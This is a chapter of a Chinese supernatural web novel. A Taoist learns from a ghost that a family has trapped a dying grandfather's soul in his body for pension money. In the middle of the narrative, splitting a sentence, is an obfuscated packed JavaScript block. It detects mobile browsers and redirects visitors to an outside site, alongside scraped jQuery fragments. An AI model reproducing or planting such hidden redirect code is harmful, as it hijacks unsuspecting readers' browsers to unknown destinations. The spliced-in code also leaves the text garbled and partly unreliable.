“没见到你爷爷,暂时无法断言。休息一会儿吧,一会儿去看看你爷爷。”
许星洲摇了摇头,没有直接下判断,他的目光在初文的房间里扫了一圈,初文的房间布置的很简单,墙壁上贴满了男团海报。
许星洲正看着,初文书桌上的一张全家福忽然倒了下来,掉在地上摔了个粉碎,初文吓得尖叫了一声,许星洲迅速上前捂住了他的嘴巴。
“别出声。”
许星洲的目光看向书桌的位置,一只手捂着初文的嘴巴,另一只手沾了一点放在包里的显像水往自己的眼睛上摸了一下,淡淡的刺痛之后许星洲就看到一个鬼影站在初文的房间里,侧头看向窗外,窗外密密麻麻全是鬼影,窗外的鬼似乎是忌惮屋子里这位,虽然蠢蠢欲动,但根本不敢往里冲,只是安静蛰伏等待机会。
许星洲的目光重新看向屋子里这个鬼魂,这是一个中年女人,女人穿了一件红色旗袍,长得慈眉善目的,周身没有戾气,并不是厉鬼,甚至她周身的鬼气逸散的厉害,眼看着就要消散了。
许星洲冲她点了点头。
“这位先生,我看得出来你是个有本事的人,求你救救我丈夫吧。”
女鬼哭着跪倒在地,许星州伸手虚空一抬,她的身型就站了起来。
“说说看,发生什么事了吧,我刚来,对这里的事一无所知。”
许星州询问女鬼,一旁的初文已经吓得睁大了眼睛,他用力挣扎开许星州捂着他嘴巴的手,有些艰难的开口。
“你在和谁说话?这房间里有什么?”
初文有些敏感,回到家里之后之前那种莫名热闹的感觉又出现了,房间里明明空无一然,但他总有种被很多人注视着的感觉。
“安静点。”
许星州再次把初文的嘴巴捂住,另一只手沾了点显相水抹在了初文的眼睛上,初文只觉得眼睛一阵刺痛,下意识的闭紧了,等适应了之后才又睁开了眼睛。
初文看着眼前穿着红色旗袍的女鬼,惊恐稍稍退却,他低头看了一眼摔在地上的照片,又看看眼前人。
奶奶去世的早,在他还是个小婴儿的时候就已经去世了,所以他对奶奶并没有记忆,但放在桌子上的全家福他总看,奶奶的容貌早就深深刻在他的奶海中了,这会儿忽然瞧见,他忽然委屈的想哭。
“奶奶。”
初文想要去抱住女鬼,但扑了个空,许星州一把抓住了他,把他按在了一旁的椅子上。
“文文。”
女鬼看着自己的孙子,眼中满是心疼,初文骨头轻容易撞到不好的东西,偏偏家里最近这样的不安生,他肯定是吓坏了。
“说正事吧,说完了你们再祖孙情深吧。”
“是是是,是该说正事。”女鬼的目光从初文身上收回,又露出了悲伤的神色来,她擦了一把并不存在的眼泪说起了最近的事来。
“我叫陈巧云,出事的是我的丈夫初国盛。我和我丈夫是少年夫妻感情甚笃,我们约定死后要要一起过奈何桥,不管谁先去了都要等另一个人一起。我命不好死的早,原本早该去投胎的,但我们当初许愿的十分心诚,所以鬼差特许我等云生去世了一起去投胎。云生的阳寿尽了,可我迟迟没有等到他,所以特地来找他,谁曾想,我那个不孝子不知道使了什么歪门邪道,居然把云生的魂魄封存在了体内,他根本不知道耽误投胎是多么严重的事情,邪法蒙蔽了鬼差,没人来勾魂,他的魂魄会消散掉的!”
陈巧云说的激动,初文听的却是愣住了。
“我爸干的,他为什么这么做啊?他是不是被人给骗了?”
初文的脑子有些转不过弯来,说不定他爸爸只是为了救爷爷,根本不知道其他的问题,至少他爷爷现在还活着。
“我起初和你的想法一样,以为他是为了救你爷爷,根本不知道其中的危害,所以我连续给他托梦了三天,把厉害关系都和他说了,可他根本不在乎。他就是需要你爷爷活着而已。”
说到这里,陈巧云就很是愤怒,初国盛在银行有一笔定存,还有几个月就要到期了,光利息就有好几万,如果初国盛死了,想要取这笔钱就很麻烦,立马取出来也会影响到利息。
另外,初国盛的退休金很高,一个月有一万多,多拖延几个月就能多拿几个月的退休金,还能把那笔定存连本带利的全取出来。
“他们请的那个骗子术法不精,只能强行将魂魄封闭在体内而已,身体没有生机的滋养会有一点点的腐朽,你爷爷会眼睁睁的看着自己一点点腐烂,最后魂魄也跟着躯体一起消散,这是要让他魂飞魄散,永世不得超生啊。”
陈巧云泣出了血泪,想出这种法子的人简直就是恶魔,灵魂在身体之中,看着自己一点点的死亡,可魂魄依旧飘不出去,只能封存在躯壳中,直至消散,这简直就是酷刑。
而让自己的亲人承受这样痛苦的理由,居然只是为了几万块!
“那我爷爷现在到底算什么?”
初文想象了一下陈巧云所说的画面,只觉得浑身不舒服,他不敢去细想,当身体成为魂魄的牢笼,然后一起腐朽消亡,这不是死亡艺术,而是彻底的残忍。
人类对死亡本就充满了恐惧,而现在他们得欣赏自己的死亡,过程还是这样的诡异痛苦。
“是活死人。”
许星州说了一句,他的脑子里冒出了另一个人的名字来,洛一凡。
洛一凡的情况和初国盛类似,但他应该还没有意识到自己的死亡,所以还在继续着生前的工作。
只是不知道初国盛现在是什么样的状态了,初国盛的房间就在隔壁,只要推开门就能看到。
“你在这呆着,我去看看你爷爷。”
许星州拍了拍初文的肩膀,给自己用了个隐身咒就出了门,初文爷爷的房间已经是这个家的禁地了,只要推开,无异于打开潘多拉魔盒。
初文的父母很是谨慎,初文爷爷的房间上了锁,许星州拧着把手的力气略略加大,咔嚓一声强行把门给打开了。
门打开,许星州就打了个哆嗦,屋子里冷气开的很足,除此之外还有浓重的熏香味飘出来。
许星州伸手挥了挥,眯着眼睛往里看去,屋子里熏了很多的香,浓重的呛人,白色烟雾被昏黄的灯照着,有些云雾缭绕的感觉,房间并不大,一张床几乎就占了半个房间。
烟雾朦胧,床上坐卧着一个老人,老人周身死气弥漫,但胸口还有微微起伏,他坐在床上目光呆滞的看着窗外,窗外是很多对他的身体和魂魄垂涎已久的孤魂野鬼。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706623|173563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
老人叹了口气,听到开门声,身体僵硬的转动了一下,没瞧见人还愣了一下,等许星州走到他床头显出身形的时候,他忽然露出个释然的表情。
“是黑无常大人来收我了吗,您怎么没带高帽?”
老人看着许星州开了句玩笑,有些艰难的撑起身子,一副想要跟着他离开的样子。
“我不是黑无常,我是个道士,是你孙子让我来看看的,你知道你自己是个什么情况吗?”
许星州低头看了自己一眼,好嘛,穿了一身黑。
“文文也觉得我很奇怪吧,我自己都这么觉得。”老人叹了口气,又坐了回去,他浑浊的双眼看着许星州,很是无奈的摇头。
“都说人老成精,我都这把年纪了,还有什么事情猜不透的,在医院的时候我就知道自己的命差不多到头了,可到了家忽然就好了,我一开始还挺高兴的,虽然已经看开了,但人终究是怕死的,能多活一段时间也是好的,可没多久,我就意识到了不对劲,我精神很好,可身体却越来越不顶用,渐渐的我连吞咽食物都做不到了,而且我也感受不到饥饿和疲惫。最让我怀疑的是我儿子的行为,他让我写遗书,做公证,处理身后事,这些我都是能理解的,毕竟就算好了,大概也是活不了太久了,可是他们开始在我屋子里点香,又给我图奇怪的药水,又把屋子里开的很冷,我就算是再迟钝也大概明白了,我只怕是已经死了。”
老人说着猛的咳嗽了起来,咳了好一阵之后才缓了过来,这身子已经没了生机,动起来很是僵硬,一大段话说的很是艰难。
“我死而复生已经小半年了,我的身体越发的不中用了 ,这样的‘活着’还不如就死了。你既然是道士肯定有办法帮我解脱吧,我试着自杀过,可我发现我现在求死不得。”
老人说着伸出了自己的手腕给许星州看,手腕上有好几道深可见骨的伤,放在平时这样的伤口定然没有活下去的可能。
许星州正琢磨,门外传来了吵闹声,随即初文和他的妈妈推搡着进了门。
“你到底是什么人?马上离开我家。”
初文没拦住他妈,被推搡着一起进了房间,他看到床上 坐着的爷爷被吓了一跳。
记忆里 ,他爷爷是个很儒雅的老人,总是将自己收拾的十分干净,可现在,在他面前的人和他记忆里的完全不同。
床上的老人弥漫着颓败的气息,身体浮肿变形,一双眼睛黑漆漆的几乎没了眼白,初文差点吓到叫出声来,如果不是清楚的知道床上的人是他爷爷,在这烟雾缭绕的坏境里,他定然会将他当成厉鬼。
“妈,我爷爷到底是怎么了?”
初文厉声质问他妈妈,虽然已经从他奶奶口中得知了事情的真相,可看着眼前场景的时候他还是没忍住开口,他忽然觉得自己的母亲变得很是陌生。
没推开门之前,他以为的活死人是他爷爷保持着生前的状态,可没想到会见到这样恐怖的画面,而且这屋子里的气味都快将人腌入味了,在遮掩些什么就不言而喻了。
“大人的事情小孩子少管。”
“佳慧,你就放我离开吧,我这样活着,只有痛苦。”
床上的初国盛带着哀求的语气看向自己的儿媳,生不如死的日子他是过够了。